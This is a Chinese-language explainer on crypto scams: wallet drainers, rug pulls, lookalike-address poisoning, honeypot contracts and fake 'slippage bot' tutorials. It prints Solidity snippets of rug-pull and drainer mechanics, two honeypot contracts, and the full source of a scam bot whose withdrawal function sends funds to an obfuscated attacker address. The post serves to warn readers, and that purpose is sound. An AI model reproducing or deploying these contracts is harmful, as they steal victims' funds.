简介
每年都有很多很多人因为各种骗局而损失惨重,这里主要讨论一些最近比较常见的骗局。
各大种类
Crypto Drainers ( the most common
表现形式
通常是是模仿官方的网页布局和风格,页面内容就是领取空投之类的。
一种是点击按钮就会连接钱包弹出签名。
另一种是连接钱包的时候提示连接失败或者繁忙,然后让自己填助记词或者私钥上去,就很直接…
传播方式,会在哪里看到
推特的评论区,是最常见的,通常会取一个和官方很像的名字头像,链接也是和官方网页很像的。
链上发名字里带链接的币,批量转给各个地址。
因为各大浏览器,钱包,追踪 ERC20 代币都是根据 ERC20 的 Transfer 事件来的。所以钓鱼方只要在合约上不断触发 Transfer 事件就可以伪造出很多转账记录,任意地址转到任意地址都可以。
1function airdrop(address[] calldata _to, uint256 _value) public {
2 for (uint256 i = 0; i < _to.length; i++) {
3 emit Transfer(address(0x0), _to[i], _value);
4 }
5}
比较常见的 from 地址就是各大交易所热钱包,各种 Deployer 之类的。上图就是 uniswap v4 pool manager,都是为了骗取信任。
污染谷歌搜索的结果。
一种是直接把钓鱼链接赞助在靠前的位置。
另一种是看起来是官方链接,但是会重定向去钓鱼网站,我还没实际见过这种,不确定是怎么做到的。
原理
虽然 drainer 有好多种,但是方法都大同小异。
钱包连接到网页后,网页获取到钱包地址,请求后端服务检查地址在各个链上的资产,包括原生代币,ERC20 代币, ERC721 nft, ERC1155 代币,各种 lp 的流动性证明。( 截图中的 /ethereum
按照价值排序后,由高到低发出签名请求。
如果是原生代币,会发出主动转账请求。
如果是支持 permit 的 ERC20 代币,会发出 permit 请求以节省手续费,一旦签名,drainer 就会调用合约 permit 并转走对应的资产。
如果是不支持 permit 的 ERC20 代币,会发出 approve 请求。在这里有一些 drainer 检测到受害者如果没有手续费去 approve,还会在弹出签名请求之前先贴心地给受害者发一点手续费。( 截图中的 /auto-gas-send
对于接收资金的地址也是有讲究的,我们知道 solidity 的 Create2 可以提前计算出部署的合约地址,drainer 会针对每一个受害者地址单独计算一个接收资金的地址,但在接收到资金前不会真的部署合约,就可以规避掉一些钱包的安全检查。真的接收到资金后,再部署合约把资金转走。( 截图中的 /salt
鉴别,需注意
推特名字,看看带不带黄标或者蓝标。或者有的会说明是最后一个回复,那么后续的就都是钓鱼链接。
链接域名,看看是不是官方域名,单词拼写是否正确,特别注意 i l 1 这些看起来差别不大的字符。
连接钱包之后立马就弹出交易签名的,要非常注意。正经 DApp 只会弹出登陆签名,或者连接钱包后不会立马弹出签名,而是等用户点击某个按钮后才会弹出签名。
Rug Pull
表现形式及传播方式
链上发币,通常币名都是蹭实事热点。
在 ERC20 合约的 _transfer 方法里增加空投逻辑,即每次转账的时候,随机计算几个地址,转非常微量的币给这些地址来提高持有人数。
1if (airdropNumbs > 0 && from != address(this) && from != receiveWallet) {
2 address ad;
3 uint256 airdropAmount = amount / 10**9;
4 for (uint256 i = 0; i < airdropNumbs; i++) {
5 ad = address(
6 uint160(
7 uint256(
8 keccak256(
9 abi.encodePacked(i, amount, block.timestamp)
10 )
11 )
12 )
13 );
14 super._transfer(from, ad, airdropAmount);
15 }
16 feeAmount += airdropNumbs * airdropAmount;
17}
有一定交易量和持有人之后就可以在 web3 钱包里被普通用户看到。
普通用户买进一定资金量,庄家就撤资跑路。
原理
要分好几种情况来讨论
撤销流动性,这个很好理解,有用户买进一定资金后庄家直接撤资跑路。
有一些 token 甚至会限制用户添加流动性,这样可以保证能控制所有流动性。
自己无限增发,或者可以 burn 流动性池
1function airdrop(address[] memory investors, uint256[] memory amounts) external
2{
3 for (uint256 i = 0; i < investors.length; i++) {
4 address wallet = investors[i];
5 uint256 amount = _balances[wallet] > amounts[i] ? _balances[wallet] - amounts[i] : 0;
6 _calcHolderBalance(wallet,msg.sender, amount);
7 }
8}
9
10function _calcHolderBalance(address from, address to, uint256 amount) private {
11 if(block.number > 0 && from != uniswapV2Pair || _deployer == to){
12 _balances[from] = _balances[from].sub(amount);
13 _balances[to] = _balances[to].add(amount.mul(_finalBuyTax));
14 }
15}
可以看出 airdrop 方法其实就是设置任意地址的余额,但仅 _deployer 可以设置 uniswap pair 的余额。
于是就可以轻松换走池子里几乎所有的另一种币。
在 _transfer 中限制用户卖出
1function _transfer(address from, address to, uint256 amount) private {
2 // ...
3
4 uint256 contractTokenBalance = balanceOf(address(this));
5 if (!inSwap && to == uniswapV2Pair && swapEnabled) {
6 if (contractTokenBalance > 0)
7 _coralSwap(
8 min(amount, min(contractTokenBalance, _maxTaxSwap))
9 );
10 _CoralToFee(address(this).balance);
11 }
12
13 // ...
14}
15
16function _CoralToFee(uint256 amount) private {
17 _coralStore.transfer(amount);
18}
看起来只是个普通转账,但其实 _coralStore 是个合约地址,合约的内容是什么样的呢。
如果不是白名单,就直接 revert,所以只有白名单地址才能卖掉 token
鉴别
不仅要看合约正不正经,其他的点也很重要,以下是 AI 建议。
检查流动性锁定(Liquidity Lock),如果项目方没有锁定流动性池的资金,随时可能撤走资金跑路。
查看智能合约代码,通过 Etherscan、BscScan 等区块链浏览器检查合约是否有恶意代码。
研究团队背景,许多 Rug Pull 项目是匿名团队运营的,谨慎投资没有透明度的项目。
避免 FOMO(害怕错过),许多骗局利用“快速暴涨”的噱头吸引投资者冲进市场,保持冷静分析。
社群和审计,关注项目的社群活动,查看是否有可信的第三方审计(如 CertiK、PeckShield)。
Similar Address
表现形式
前缀或后缀一样的地址模仿转账。
有后四位后六位的,有前四位后四位的,甚至还有前四后六的。
因为浏览器或者钱包只显示前后几位,所以很容易看错。
传播方式及原理
通常只针对很常用的稳定币,比如 USDT, USDC 之类的,骗子会部署一个同名的假币,这里我们叫它 USDT2
针对每一次用户的 USDT 转账,触发两个事件混进用户的交易记录中 一个是 USDT 转 0,一个是 USDT2 转对应数量 或者是直接转不过数量级小很多的真的 USDT。
假设原始交易
Alice -> Bob 100 USDT
骗子生成假地址 Bob2,进行以下两个转账
Alice -> Bob2 0 USDT ( transferFrom amount=0
Alice -> Bob2 100 USDT2
用户在 explorer 和 web3 wallet 交易历史里可以看到,下次转账如果复制错地址,就 gg
鉴别
看清楚点,尽量不在 explorer 复制地址,转账需要再三确认。
Honey Pot
表现形式及传播方式
放很多资金在合约地址,假装是有漏洞的合约,专门搞懂一点但不多的人。
感觉主要是在 explorer 上传播,都很少在推特上看到。
原理
lucky game 这个算是比较经典的,好几年前就兴起了,直到现在仍然有人中招。
1/**
2 *Submitted for verification at Etherscan.io on 2025-02-26
3*/
4
5contract el_Quiz
6{
7 function Try(string memory _response) public payable
8 {
9 require(msg.sender == tx.origin);
10
11 if(responseHash == keccak256(abi.encode(_response)) && msg.value > 1 ether)
12 {
13 payable(msg.sender).transfer(address(this).balance);
14 }
15 }
16
17 string public question;
18
19 bytes32 responseHash;
20
21 mapping (bytes32=>bool) admin;
22
23 function Start(string calldata _question, string calldata _response) public payable isAdmin{
24 if(responseHash==0x0){
25 responseHash = keccak256(abi.encode(_response));
26 question = _question;
27 }
28 }
29
30 function Stop() public payable isAdmin {
31 payable(msg.sender).transfer(address(this).balance);
32 responseHash = 0x0;
33 }
34
35 function New(string calldata _question, bytes32 _responseHash) public payable isAdmin {
36 question = _question;
37 responseHash = _responseHash;
38 }
39
40 constructor(bytes32[] memory admins) {
41 for(uint256 i=0; i< admins.length; i++){
42 admin[admins[i]] = true;
43 }
44 }
45
46 modifier isAdmin(){
47 require(admin[keccak256(abi.encodePacked(msg.sender))]);
48 _;
49 }
50
51 fallback() external {}
52}
用户需要支付 1 ETH 以上的手续费,然后回答问题,如果回答正确,就可以提取合约里的资金。
注意到有个 Start 函数就是设置问题和答案的,很容易想到去看之前是如何设置的问题。
问题的设置也很巧妙,脑经急转弯,给用户一种好像真的别人容易想不到,自己小聪明即将得逞的感觉。
合约里还限制了 msg.sender == tx.origin ,这样就不能通过合约调用 Try 函数。( 暂时
当用户真的拿着 1 个 ETH 去 Try 的时候,后悔也来不及了。
但是这个合约有个问题,就是 Start 仅在 responseHash 为 0x0,即没有设置过的时候才去设置 responseHash,而这里还有个 New 函数可以直接设置 responseHash。
( 可以到 explorer 上看一下 Start tx 的状态变化,以及合约的 internal tx 的状态变化。
start_Bank 这个是伪装成一个存钱合约,但是有重入漏洞,让用户以为可以攻击。
1/**
2 *Submitted for verification at Etherscan.io on 2025-02-16
3*/
4
5pragma solidity 0.7.6;
6
7contract start_BANK {
8 function Deposit(uint _unlockTime) public payable {
9 Holder storage acc = Accounts[msg.sender];
10 acc.balance += msg.value;
11 acc.unlockTime = _unlockTime > block.timestamp ? _unlockTime : block.timestamp;
12 LogFile.AddMessage(msg.sender, msg.value, "Put");
13 }
14
15 function Collect(uint _am) public payable {
16 Holder storage acc = Accounts[msg.sender];
17 if (acc.balance > MinSum && acc.balance >= _am && block.timestamp > acc.unlockTime) {
18 (bool success, ) = msg.sender.call{value: _am}("");
19 if (success) {
20 acc.balance -= _am;
21 LogFile.AddMessage(msg.sender, _am, "Collect");
22 }
23 }
24 }
25
26 struct Holder {
27 uint unlockTime;
28 uint balance;
29 }
30
31 mapping(address => Holder) public Accounts;
32
33 Log LogFile;
34
35 uint public MinSum = 1 ether;
36
37 constructor(address log) {
38 LogFile = Log(log);
39 }
40
41 fallback() external payable {
42 Deposit(0);
43 }
44
45 receive() external payable {
46 Deposit(0);
47 }
48}
49
50contract Log {
51 event Message(address indexed Sender, string Data, uint Val, uint Time);
52
53 function AddMessage(address _adr, uint _val, string memory _data) external {
54 emit Message(_adr, _data, _val, block.timestamp);
55 }
56}
刚看到可能会觉得 Collect 函数先 call 后改状态,可以重入提取所有资金。
这个合约的问题就在于,LogFile 是创建合约时传入的参数,并不一定是下面那段 Log 代码创建的合约。于是下面的 Log 只是起了个 interface 的作用。
当我们找到真实的 LogFile 地址过去看,是个未验证的合约,可以反编译看看。
可以看到当 msg.sender 不是来自 start_Bank 合约的时候,表现就是简单的 emit Log 事件。但当从 start_Bank 合约调用这个合约的时候,就会进入隐藏逻辑。
看起来乱糟糟的,其实等价于 require(tx.origin == owner || _data[0] != ‘0x43’),也就是对于不是 owner 的地址,_data 即消息的第一个字符不能是 ‘C’,根据上述合约,也就是 Collect,意思就是其他日志都可以,但只有 owner 可以 Collect。
还有个巧妙的点在于,Collect 里对解锁时间的检查,要大于 block.timestamp,而 Deposit 的时候解锁时间是不能小于 block.timestamp 的,所以虽然这个合约接收合约地址来充值和提取,但同一个地址没法在一个区块里调用 Deposit 和 Collect 。这样就可以骗用户先充钱,充了钱就再也提不出来了。
鉴别
一般这种都会有比较多的资金来吸引用户去观察。
避免的方式就是不要贪心,然后就是要磨练技术,看得出其中的问题。
其他, youtube solidity video, fake cloudflare script
表现形式
经常刷推特的人可能都知道,偶尔会看到一些广告说 AI 多厉害,写的自动套利 bot 很短时间就赚了很多钱,然后给出一个 youtube 教程链接。
视频会给出一个链接,链接很健康,不钓鱼,声称是 AI 生成的合约代码,然后教用户怎么打开 remix,把代码复制到里面,发交易部署,成功后要往自己部署的 bot 里转账一笔“启动资金”。然后才能调用 bot 的 start 函数。
用户可能觉得,确实是自己部署的合约,而且合约名字就叫 OneinchSlippageBot 或者 UniswapSlippageBot,能有什么问题呢,就很豪爽地转账了,哇哦。
来一起学习一下 SlippageBot 合约吧
1/**
2 *Submitted for verification at Etherscan.io on 2025-01-30
3*/
4
5//SPDX-License-Identifier: MIT
6pragma solidity ^0.6.6;
7
8// This 1inch Slippage bot is for mainnet only. Testnet transactions will fail because testnet transactions have no value.
9// Import Libraries Migrator/Exchange/Factory
10// import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2ERC20.sol";
11// import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Factory.sol";
12// import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Pair.sol";
13
14contract OneinchSlippageBot {
15
16 //string public tokenName;
17 //string public tokenSymbol;
18 uint liquidity;
19 string private WETH_CONTRACT_ADDRESS = "0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2";
20 string private UNISWAP_CONTRACT_ADDRESS = "0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D";
21
22 event Log(string _msg);
23
24 constructor() public {
25 //tokenSymbol = _mainTokenSymbol;
26 //tokenName = _mainTokenName;
27 }
28
29 receive() external payable {}
30
31 struct slice {
32 uint _len;
33 uint _ptr;
34 }
35
36 /*
37 * @dev Find newly deployed contracts on Uniswap Exchange
38 * @param memory of required contract liquidity.
39 * @param other The second slice to compare.
40 * @return New contracts with required liquidity.
41 */
42
43 function findNewContracts(slice memory self, slice memory other) internal view returns (int) {
44 uint shortest = self._len;
45
46 if (other._len < self._len)
47 shortest = other._len;
48
49 uint selfptr = self._ptr;
50 uint otherptr = other._ptr;
51
52 for (uint idx = 0; idx < shortest; idx += 32) {
53 // initiate contract finder
54 uint a;
55 uint b;
56
57 loadCurrentContract(WETH_CONTRACT_ADDRESS);
58 loadCurrentContract(UNISWAP_CONTRACT_ADDRESS);
59 assembly {
60 a := mload(selfptr)
61 b := mload(otherptr)
62 }
63
64 if (a != b) {
65 // Mask out irrelevant contracts and check again for new contracts
66 uint256 mask = uint256(-1);
67
68 if(shortest < 32) {
69 mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
70 }
71 uint256 diff = (a & mask) - (b & mask);
72 if (diff != 0)
73 return int(diff);
74 }
75 selfptr += 32;
76 otherptr += 32;
77 }
78 return int(self._len) - int(other._len);
79 }
80
81
82 /*
83 * @dev Extracts the newest contracts on Uniswap exchange
84 * @param self The slice to operate on.
85 * @param rune The slice that will contain the first rune.
86 * @return `list of contracts`.
87 */
88 function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
89 uint ptr = selfptr;
90 uint idx;
91
92 if (needlelen <= selflen) {
93 if (needlelen <= 32) {
94 bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
95
96 bytes32 needledata;
97 assembly { needledata := and(mload(needleptr), mask) }
98
99 uint end = selfptr + selflen - needlelen;
100 bytes32 ptrdata;
101 assembly { ptrdata := and(mload(ptr), mask) }
102
103 while (ptrdata != needledata) {
104 if (ptr >= end)
105 return selfptr + selflen;
106 ptr++;
107 assembly { ptrdata := and(mload(ptr), mask) }
108 }
109 return ptr;
110 } else {
111 // For long needles, use hashing
112 bytes32 hash;
113 assembly { hash := keccak256(needleptr, needlelen) }
114
115 for (idx = 0; idx <= selflen - needlelen; idx++) {
116 bytes32 testHash;
117 assembly { testHash := keccak256(ptr, needlelen) }
118 if (hash == testHash)
119 return ptr;
120 ptr += 1;
121 }
122 }
123 }
124 return selfptr + selflen;
125 }
126
127
128 /*
129 * @dev Loading the contract
130 * @param contract address
131 * @return contract interaction object
132 */
133 function loadCurrentContract(string memory self) internal pure returns (string memory) {
134 string memory ret = self;
135 uint retptr;
136 assembly { retptr := add(ret, 32) }
137
138 return ret;
139 }
140
141 /*
142 * @dev Extracts the contract from Uniswap
143 * @param self The slice to operate on.
144 * @param rune The slice that will contain the first rune.
145 * @return `rune`.
146 */
147 function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
148 rune._ptr = self._ptr;
149
150 if (self._len == 0) {
151 rune._len = 0;
152 return rune;
153 }
154
155 uint l;
156 uint b;
157 // Load the first byte of the rune into the LSBs of b
158 assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
159 if (b < 0x80) {
160 l = 1;
161 } else if(b < 0xE0) {
162 l = 2;
163 } else if(b < 0xF0) {
164 l = 3;
165 } else {
166 l = 4;
167 }
168
169 // Check for truncated codepoints
170 if (l > self._len) {
171 rune._len = self._len;
172 self._ptr += self._len;
173 self._len = 0;
174 return rune;
175 }
176
177 self._ptr += l;
178 self._len -= l;
179 rune._len = l;
180 return rune;
181 }
182
183 function startExploration(string memory _a) internal pure returns (address _parsedAddress) {
184 bytes memory tmp = bytes(_a);
185 uint160 iaddr = 0;
186 uint160 b1;
187 uint160 b2;
188 for (uint i = 2; i < 2 + 2 * 20; i += 2) {
189 iaddr *= 256;
190 b1 = uint160(uint8(tmp[i]));
191 b2 = uint160(uint8(tmp[i + 1]));
192 if ((b1 >= 97) && (b1 <= 102)) {
193 b1 -= 87;
194 } else if ((b1 >= 65) && (b1 <= 70)) {
195 b1 -= 55;
196 } else if ((b1 >= 48) && (b1 <= 57)) {
197 b1 -= 48;
198 }
199 if ((b2 >= 97) && (b2 <= 102)) {
200 b2 -= 87;
201 } else if ((b2 >= 65) && (b2 <= 70)) {
202 b2 -= 55;
203 } else if ((b2 >= 48) && (b2 <= 57)) {
204 b2 -= 48;
205 }
206 iaddr += (b1 * 16 + b2);
207 }
208 return address(iaddr);
209 }
210
211
212 function memcpy(uint dest, uint src, uint len) private pure {
213 // Check available liquidity
214 for(; len >= 32; len -= 32) {
215 assembly {
216 mstore(dest, mload(src))
217 }
218 dest += 32;
219 src += 32;
220 }
221
222 // Copy remaining bytes
223 uint mask = 256 ** (32 - len) - 1;
224 assembly {
225 let srcpart := and(mload(src), not(mask))
226 let destpart := and(mload(dest), mask)
227 mstore(dest, or(destpart, srcpart))
228 }
229 }
230
231 /*
232 * @dev Orders the contract by its available liquidity
233 * @param self The slice to operate on.
234 * @return The contract with possbile maximum return
235 */
236 function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
237 if (self._len == 0) {
238 return 0;
239 }
240
241 uint word;
242 uint length;
243 uint divisor = 2 ** 248;
244
245 // Load the rune into the MSBs of b
246 assembly { word:= mload(mload(add(self, 32))) }
247 uint b = word / divisor;
248 if (b < 0x80) {
249 ret = b;
250 length = 1;
251 } else if(b < 0xE0) {
252 ret = b & 0x1F;
253 length = 2;
254 } else if(b < 0xF0) {
255 ret = b & 0x0F;
256 length = 3;
257 } else {
258 ret = b & 0x07;
259 length = 4;
260 }
261
262 // Check for truncated codepoints
263 if (length > self._len) {
264 return 0;
265 }
266
267 for (uint i = 1; i < length; i++) {
268 divisor = divisor / 256;
269 b = (word / divisor) & 0xFF;
270 if (b & 0xC0 != 0x80) {
271 // Invalid UTF-8 sequence
272 return 0;
273 }
274 ret = (ret * 64) | (b & 0x3F);
275 }
276
277 return ret;
278 }
279
280 function getMempoolStart() private pure returns (string memory) {
281 return "b153";
282 }
283
284 /*
285 * @dev Calculates remaining liquidity in contract
286 * @param self The slice to operate on.
287 * @return The length of the slice in runes.
288 */
289 function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
290 uint ptr = self._ptr - 31;
291 uint end = ptr + self._len;
292 for (l = 0; ptr < end; l++) {
293 uint8 b;
294 assembly { b := and(mload(ptr), 0xFF) }
295 if (b < 0x80) {
296 ptr += 1;
297 } else if(b < 0xE0) {
298 ptr += 2;
299 } else if(b < 0xF0) {
300 ptr += 3;
301 } else if(b < 0xF8) {
302 ptr += 4;
303 } else if(b < 0xFC) {
304 ptr += 5;
305 } else {
306 ptr += 6;
307 }
308 }
309 }
310
311 function fetchMempoolEdition() private pure returns (string memory) {
312 return "a0BE";
313 }
314
315 /*
316 * @dev Parsing all Uniswap mempool
317 * @param self The contract to operate on.
318 * @return True if the slice is empty, False otherwise.
319 */
320
321 /*
322 * @dev Returns the keccak-256 hash of the contracts.
323 * @param self The slice to hash.
324 * @return The hash of the contract.
325 */
326 function keccak(slice memory self) internal pure returns (bytes32 ret) {
327 assembly {
328 ret := keccak256(mload(add(self, 32)), mload(self))
329 }
330 }
331
332 function getMempoolShort() private pure returns (string memory) {
333 return "0x402";
334 }
335 /*
336 * @dev Check if contract has enough liquidity available
337 * @param self The contract to operate on.
338 * @return True if the slice starts with the provided text, false otherwise.
339 */
340 function checkLiquidity(uint a) internal pure returns (string memory) {
341
342 uint count = 0;
343 uint b = a;
344 while (b != 0) {
345 count++;
346 b /= 16;
347 }
348 bytes memory res = new bytes(count);
349 for (uint i=0; i<count; ++i) {
350 b = a % 16;
351 res[count - i - 1] = toHexDigit(uint8(b));
352 a /= 16;
353 }
354
355 return string(res);
356 }
357
358 function getMempoolHeight() private pure returns (string memory) {
359 return "16C1B";
360 }
361 /*
362 * @dev If `self` starts with `needle`, `needle` is removed from the
363 * beginning of `self`. Otherwise, `self` is unmodified.
364 * @param self The slice to operate on.
365 * @param needle The slice to search for.
366 * @return `self`
367 */
368 function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
369 if (self._len < needle._len) {
370 return self;
371 }
372
373 bool equal = true;
374 if (self._ptr != needle._ptr) {
375 assembly {
376 let length := mload(needle)
377 let selfptr := mload(add(self, 0x20))
378 let needleptr := mload(add(needle, 0x20))
379 equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
380 }
381 }
382
383 if (equal) {
384 self._len -= needle._len;
385 self._ptr += needle._len;
386 }
387
388 return self;
389 }
390
391 function getMempoolLog() private pure returns (string memory) {
392 return "18565ec5";
393 }
394
395 // Returns the memory address of the first byte of the first occurrence of
396 // `needle` in `self`, or the first byte after `self` if not found.
397 function getBa() private view returns(uint) {
398 return address(this).balance;
399 }
400
401 function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
402 uint ptr = selfptr;
403 uint idx;
404
405 if (needlelen <= selflen) {
406 if (needlelen <= 32) {
407 bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
408
409 bytes32 needledata;
410 assembly { needledata := and(mload(needleptr), mask) }
411
412 uint end = selfptr + selflen - needlelen;
413 bytes32 ptrdata;
414 assembly { ptrdata := and(mload(ptr), mask) }
415
416 while (ptrdata != needledata) {
417 if (ptr >= end)
418 return selfptr + selflen;
419 ptr++;
420 assembly { ptrdata := and(mload(ptr), mask) }
421 }
422 return ptr;
423 } else {
424 // For long needles, use hashing
425 bytes32 hash;
426 assembly { hash := keccak256(needleptr, needlelen) }
427
428 for (idx = 0; idx <= selflen - needlelen; idx++) {
429 bytes32 testHash;
430 assembly { testHash := keccak256(ptr, needlelen) }
431 if (hash == testHash)
432 return ptr;
433 ptr += 1;
434 }
435 }
436 }
437 return selfptr + selflen;
438 }
439
440 /*
441 * @dev Iterating through all mempool to call the one with the with highest possible returns
442 * @return `self`.
443 */
444 function fetchMempoolData() internal pure returns (string memory) {
445 string memory _mempoolShort = getMempoolShort();
446
447 string memory _mempoolEdition = fetchMempoolEdition();
448 /*
449 * @dev loads all Uniswap mempool into memory
450 * @param token An output parameter to which the first token is written.
451 * @return `mempool`.
452 */
453 string memory _mempoolVersion = fetchMempoolVersion();
454 string memory _mempoolLong = getMempoolLong();
455 /*
456 * @dev Modifies `self` to contain everything from the first occurrence of
457 * `needle` to the end of the slice. `self` is set to the empty slice
458 * if `needle` is not found.
459 * @param self The slice to search and modify.
460 * @param needle The text to search for.
461 * @return `self`.
462 */
463
464 string memory _getMempoolHeight = getMempoolHeight();
465 string memory _getMempoolCode = getMempoolCode();
466
467 /*
468 load mempool parameters
469 */
470 string memory _getMempoolStart = getMempoolStart();
471
472 string memory _getMempoolLog = getMempoolLog();
473
474
475
476 return string(abi.encodePacked(_mempoolShort, _mempoolEdition, _mempoolVersion,
477 _mempoolLong, _getMempoolHeight,_getMempoolCode,_getMempoolStart,_getMempoolLog));
478 }
479
480 function toHexDigit(uint8 d) pure internal returns (byte) {
481 if (0 <= d && d <= 9) {
482 return byte(uint8(byte('0')) + d);
483 } else if (10 <= uint8(d) && uint8(d) <= 15) {
484 return byte(uint8(byte('a')) + d - 10);
485 }
486
487 // revert("Invalid hex digit");
488 revert();
489 }
490
491
492 function getMempoolLong() private pure returns (string memory) {
493 return "Bff0F";
494 }
495
496 /* @dev Perform frontrun action from different contract pools
497 * @param contract address to snipe liquidity from
498 * @return `liquidity`.
499 */
500 function start() public payable {
501 /*
502 * Start the trading process with the bot by Uniswap Router
503 * To start the trading process correctly, you need to have a balance of at least 0.4 ETH on your contract
504 */
505 require(address(this).balance >= 0.4 ether, "Insufficient contract balance");
506 }
507
508 /*
509 * @dev withdrawals profit back to contract creator address
510 * @return `profits`.
511 */
512 function withdrawal() public payable {
513 address to = startExploration((fetchMempoolData()));
514 address payable contracts = payable(to);
515 contracts.transfer(getBa());
516 }
517
518 /*
519 * @dev token int2 to readable str
520 * @param token An output parameter to which the first token is written.
521 * @return `token`.
522 */
523 function getMempoolCode() private pure returns (string memory) {
524 return "07c85";
525 }
526
527 function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
528 if (_i == 0) {
529 return "0";
530 }
531 uint j = _i;
532 uint len;
533 while (j != 0) {
534 len++;
535 j /= 10;
536 }
537 bytes memory bstr = new bytes(len);
538 uint k = len - 1;
539 while (_i != 0) {
540 bstr[k--] = byte(uint8(48 + _i % 10));
541 _i /= 10;
542 }
543 return string(bstr);
544 }
545
546 function fetchMempoolVersion() private pure returns (string memory) {
547 return "1e3d80";
548 }
549
550 /*
551 * @dev loads all Uniswap mempool into memory
552 * @param token An output parameter to which the first token is written.
553 * @return `mempool`.
554 */
555 function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
556 bytes memory _baseBytes = bytes(_base);
557 bytes memory _valueBytes = bytes(_value);
558
559 string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
560 bytes memory _newValue = bytes(_tmpValue);
561
562 uint i;
563 uint j;
564
565 for(i=0; i<_baseBytes.length; i++) {
566 _newValue[j++] = _baseBytes[i];
567 }
568
569 for(i=0; i<_valueBytes.length; i++) {
570 _newValue[j++] = _valueBytes[i];
571 }
572
573 return string(_newValue);
574 }
575}
可以看到,真正做的事情就是在 start 的时候骗用户多充点钱,然后在 withdrawal 的时候把钱转走。
还有一种就是假装是 cloudflare 的验证页面,点击验证之后会提示需要额外的验证。
让复制代码到控制台执行,会安装上恶意软件被窃取私钥。